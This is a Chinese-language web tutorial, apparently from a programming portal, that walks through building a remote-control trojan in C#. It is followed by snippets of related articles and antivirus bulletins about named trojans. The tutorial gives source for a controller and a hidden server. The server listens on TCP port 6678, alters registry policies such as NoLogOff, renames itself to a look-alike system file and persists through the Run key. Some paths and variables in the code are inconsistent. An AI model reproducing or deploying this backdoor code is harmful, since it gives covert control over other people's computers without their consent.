用C#实现木马程序

程序|木马

游客,您好!转网通站 | 转电信站 积木首页 | 500多种网页特效整理 | 实用查询函数手册 | 积木网BT下载联盟 | 经典笑话 | 广播电台 | 高清晰经典图片素材  
程序开发  网页设计  搜索引擎  特效代码  操作系统  防范病毒  黑客技术  图形图象  电脑硬件  网络技术  服 务 器  数 据 库  网文精粹
    
 您的位置:积木首页 >> 程序开发频道 >> C# >> 正文:  标题:用C#实现木马程序时间:2006-8-6   来源:不详  浏览数:3次  木马的介绍

  因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

  使用的技术:

  控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

  控制端开发:

  控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

  控制端的开发:

  控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

  1、连接请求

使用了.NET类中的 System.Net.Sockets.TcpClient类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion
  2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流

//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" +"\r");
try
{

stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"\r");
MessageBox.Show(ee.Message);
}
}
  3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" +"\r");
MessageBox.Show("服务器未连接1控制无效!" +"\r");
}
}//else if
}
  4、线程执行的函数

private void receive()
{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss=="hjc")
{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control +"控制成功"+"\r");
MessageBox.Show(control +"控制成功"+"\r");
}
}

  服务端的开发:

  要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

  1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = "Form1";
//设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
  2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();

//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下,完整代码见程序
private void reControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能

//修改注册表加入编码
switch (ss)
{
case "jiance"://测试连接,返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函数,自已定义,见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;

case "zx0100":
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void reControlCode

  3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//设置子键的键名,和值
key1.SetValue ("NoLogOff",1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
}
}
  4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名,destFileName为文件的新路径
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()
  到这里一个简单的C#的木马就完成了。

时间: 2024-10-20 10:58:17

用C#实现木马程序的相关文章

C#实现木马程序

程序|木马 木马的介绍 因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明.一个完整的木马系统由硬件部分,软件部分和具体连接部分组成.这里主要对软件部分介绍,它主要有控制端程序.木马程序(后台服务程序).木马配制程序组成.控制端用以远程控制服务端的程序:木马程序是潜入服务端内部,获取其操作权限的程序:木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序. 使用的技术: 控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的.

Win32.Troj.LMir.dl-偷盗传奇帐号和密码的木马程序

病毒名称(中文): 病毒别名: 威胁级别:★☆☆☆☆ 病毒类型:木马程序 病毒长度:43520 影响系统:Win9x/WinM/eWinNT/Win2000/WinXP/Win2003 病毒行为: 这是一个偷盗传奇帐号和密码的木马程序. 该病毒能关闭安全软件,会安装消息钩子,自动HOOK所有窗口,如果是传奇游戏的窗口,则记录账号和密码,通过自带的SMTP引擎,发送到指定邮箱. 1,释放出下列文件: C:\rundll32.exe C:\WINNT\System32\cq3dll.dll 2,修改

Vawtrak归来:多层银行木马程序再度出现

臭名昭著银行木马程序Vawtrak再度出现,主要针对金融服务公司,该木马程序像俄罗斯套娃般有多层复杂性,并通过各种复杂的战术来给企业构成威胁. 丹麦网络安全公司Heimdal Security最近发现在加拿大15家金融机构接连遭受攻击,超过15000台机器受到影响.Heimdal称,最新版本的Vawtrak能够捕捉视频和截图,并使用中间人攻击来捕获未加密流量. 由于其相互依赖性和复杂性,Fortinet研究人员Raul Alvarez把这个类似Zeus的银行木马的分层可执行文件比作俄罗斯套娃.

恶意木马程序变种Trojan_Agent·SBW

国家计算机病毒应急处理中心通过对http://www.aliyun.com/zixun/aggregation/8.html">互联网的监测发现,近期出现一种利用移动存储介质进行传播的恶意木马程序变种Trojan_Agent·SBW,该变种具有较强的自我保护功能. 该变种程序运行后,会在受感染操作系统的指定目录下生成一个以tmp结尾的随机名文件.该变种会根据其所在的进程路径是否是svchost.exe来对动态链接库Dll文件进行加载.同时,该变种会使用驱动,对其释放的文件和其所在的进程进行

针对Mac系统的恶意木马程序新变种

新华网天津4月8日电(记者张建新.王思北)国家计算机病毒应急处理中心通过对互联网的监测发现,一种针对Mac系统的恶意木马程序新变种Trojan_Flashback.K出现在互联网络中. 该变种利用AppleMacOSXJava存在的漏洞,盗取系统中的敏感信息数据.与此同时,恶意攻击者利用该变种操作受感染操作系统中的某些数据进而控制Mac系统,最终导致系统出现拒绝服务. 专家说,此类恶意木马程序最初假冒AdobeFlashPlayer的插件出现,但该变种是利用了Java的漏洞并且开始针对Mac操作

一种恶意木马程序新变种现身互联网 用户做好防御

新华社天津2月24日电(记者 张建新)国家计算机病毒应急处理中心通过对互联网的监测发现,近期出现一种http://www.aliyun.com/zixun/aggregation/38117.html">恶意木马程序新变种Trojan_Servstar.G. 该变种是一种远程控制的恶意木马程序,自身为可执行文件,在文件资源中捆绑可执行程序资源,运行后会通过生成批处理文件的方式进行自删除. 变种运行后,首先会获得受感染操作系统的访问令牌的权限,查找系统中防病毒软件程序的主进程可执行文件,若存

新的恶意木马程序新变种现身互联网

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 新华网天津12月1日电(记者张建新.吴刚)国家计算机病毒应急处理中心通过对互联网的监测发现,近期出现恶意木马程序新变种Trojan_ServStart.PF. 该变种运行后,将其自身复制到受感染操作系统的系统目录下,重命名为可执行文件,其文件名是随机生成的.该变种会打开受感染操作系统的服务控制管理器,创建一个自启动的进程服务.与此同时,该变种

近期出现恶意木马程序TrojanGeneric的新变种

国家计算机病毒应急处理中心27日发布信息称,通过对互联网的监测发现,近期出现恶意木马程序TrojanGeneric的新变种,提醒用户小心谨防. 专家说,该变种通常会被强行植入到受感染操作系统的桌面进程文件中,例如:浏览器IE(进程名:explorer.exe),随后在后台执行恶意操作,以此隐藏自我,防止被防病毒软件查杀. 变种运行后,会在受感染操作系统的系统指定文件夹下释放恶意动态链接库DLL组件,并修改其属性.变种运行时还会定时弹出广告Web网页或窗口,对计算机用户正常的系统操作造成不同程度的

近期恶意木马程序活动很猖獗

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 国家计算机病毒应急处理中心通过互联网络监测发现,近期一些恶意木马程序活动猖獗,很多计算机用户受到威胁. 这些恶意木马程序大多数将自身隐藏于受感染计算机系统中的一些启动项中,并且利用Windows操作系统在启动过程中自动加载某些特定位置所指向 的应用进程程序这一过程,进而达到可以随计算机系统启动而自动加载启动的目的. 这些恶意木马程序感染计算机